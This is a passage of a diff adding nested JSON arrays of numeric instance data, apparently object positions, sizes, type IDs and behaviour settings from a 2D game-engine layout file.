+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1657,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956.0888671875,
+ 984.9098510742188,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1665,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4426.78515625,
+ 1082.237548828125,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1669,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4425.9443359375,
+ 890.9346313476562,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1677,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5405.740234375,
+ 231.5,
+ 0,
+ 1251,
+ 463,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1690,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821.240234375,
+ 527,
+ 0,
+ 80,
+ 198,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1691,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5599.5,
+ 503,
+ 0,
+ 859,
+ 88,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1692,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5799,
+ 580,
+ 0,
+ 627,
+ 88,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1699,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5748,
+ 1161,
+ 0,
+ 715,
+ 370,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1700,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5506,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1893,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5507,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1520,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5508,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5509,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 763,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5510,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 390,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5511,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3403.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5512,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4155.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5513,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3782.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5514,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2273.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5515,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3025.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5516,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2652.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5517,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5663.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5518,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6415.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5519,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6042.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5520,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4533.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5521,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5285.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5522,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4912.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5523,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3278.2734375,
+ 1588.510864257813,
+ 0,
+ 6808,
+ 457,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5527,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 676.225341796875,
+ 811.8312377929688,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5367,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870.1080322265625,
+ 813.4962158203125,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5368,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1515,
+ 642,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5528,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1898.730712890625,
+ 403.8462219238281,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5531,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2099,
+ 248,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5532,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2444,
+ 408,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5533,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675,
+ 731,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5534,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1235,
+ 1081,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5535,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594,
+ 1177,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5536,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1787,
+ 1094,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5538,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979,
+ 1181,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5539,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1088,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5540,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2721,
+ 1065,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5542,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2907,
+ 957,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5544,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3099,
+ 865,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5545,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3287,
+ 767,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5546,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4369,
+ 811,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5547,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4014,
+ 862,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5548,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4300,
+ 1031,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5549,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4198,
+ 643,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5550,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4198,
+ 574,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5551,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4637,
+ 705,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5552,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4925,
+ 744,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5553,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5158,
+ 842,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5554,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5407,
+ 936,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5555,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5752,
+ 842,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5556,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1823.914794921875,
+ 565.5264892578125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5557,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1901.586059570313,
+ 487.8801574707031,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1903.190185546875,
+ 487.8340759277344,
+ 0,
+ 84.9051513671875,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1573,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1863.742553710938,
+ 565.7508544921875,
+ 0,
+ 162.822998046875,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5559,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3200.5,
+ 1423,
+ 0,
+ 6909,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 1397,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5250.66455078125,
+ 752.6340942382812,
+ 0,
+ 111,
+ 345.104736328125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 5369,
+ [],
+ [],
